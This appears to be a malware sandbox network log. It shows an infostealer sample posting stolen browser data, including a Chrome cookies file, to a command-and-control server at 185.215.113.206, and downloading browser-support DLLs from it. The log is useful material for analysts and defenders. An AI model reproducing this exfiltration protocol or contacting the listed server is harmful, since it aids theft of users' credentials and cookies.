mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 18:28:13.100734949 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 18:28:13.100749969 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49727	185.215.113.206	80	2000	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:28:22.327063084 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FBFIJJEBKEBFCBGDAEGD--
Nov 25, 2024 18:28:24.265513897 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:24.401789904 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="file"------EBKEHJJDAAAAKECBGHDA--
Nov 25, 2024 18:28:25.375406027 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49761	185.215.113.206	80	2000	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:28:32.078283072 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 18:28:32.078341007 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 25, 2024 18:28:33.980266094 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:34.133431911 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file"------IDHIDBAEGIIIDHJKEGDB--
Nov 25, 2024 18:28:35.092233896 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 18:28:35.847372055 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:36.510168076 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 18:28:36.510181904 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 25, 2024 18:28:36.510190964 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 25, 2024 18:28:36.510201931 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 25, 2024 18:28:36.510212898 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 25, 2024 18:28:36.510225058 CET	1236	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Nov 25, 2024 18:28:36.510235071 CET	1236	IN	Data Raw: 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 Data Ascii: fDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hkhVo
Nov 25, 2024 18:28:36.510246038 CET	1236	IN	Data Raw: 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 00 89 4d e0 8b 4d ec 8a 55 e8 e9 96 Data Ascii: <U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EEMA
Nov 25, 2024 18:28:36.510462999 CET	1236	IN	Data Raw: 07 8b 45 f0 88 14 18 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 08 03 45 e0 8b 55 e8 01 f2 83 c2 03 0f b6 d2 8b 75 f0 0f b6 1c 16 00 d9 0f b6 f1 8b 7d f0 8a 3c 37 8b 7d f0 88 3c 17 8b 55 f0 88 1c 32 00 df 0f b6 d7 8b 75 f0 0f b6 34 16 c1 e6 10 09 Data Ascii: EUEUu}<7}<U2u4EUU}4}4E]Uu3EUEu}U}]E]E8
Nov 25, 2024 18:28:36.510474920 CET	1236	IN	Data Raw: 74 ff ff ff 8b 53 18 89 95 e4 fe ff ff 01 55 d4 8b 53 1c 89 95 e8 fe ff ff 11 d1 8b 55 d4 8b 9d 60 ff ff ff 01 da 89 55 d4 11 f1 89 4d cc 31 c8 31 d7 89 fa 0f a4 c2 10 89 55 a4 0f ac c7 10 89 bd 54 ff ff ff 8b 45 dc 01 f8 89 45 dc 8b 4d d8 11 d1 Data Ascii: tSUSU`UM11UTEEMM11E`tS LAS$AA0A4}qT1QP1kA+]rn<}3
Nov 25, 2024 18:28:37.813158035 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:38.274405003 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 18:28:39.451253891 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:39.899935007 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 18:28:40.832495928 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:41.317862034 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 18:28:44.720388889 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:45.171660900 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 18:28:45.797180891 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 18:28:46.249536991 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 18:28:46.928714991 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 18:28:48.060259104 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
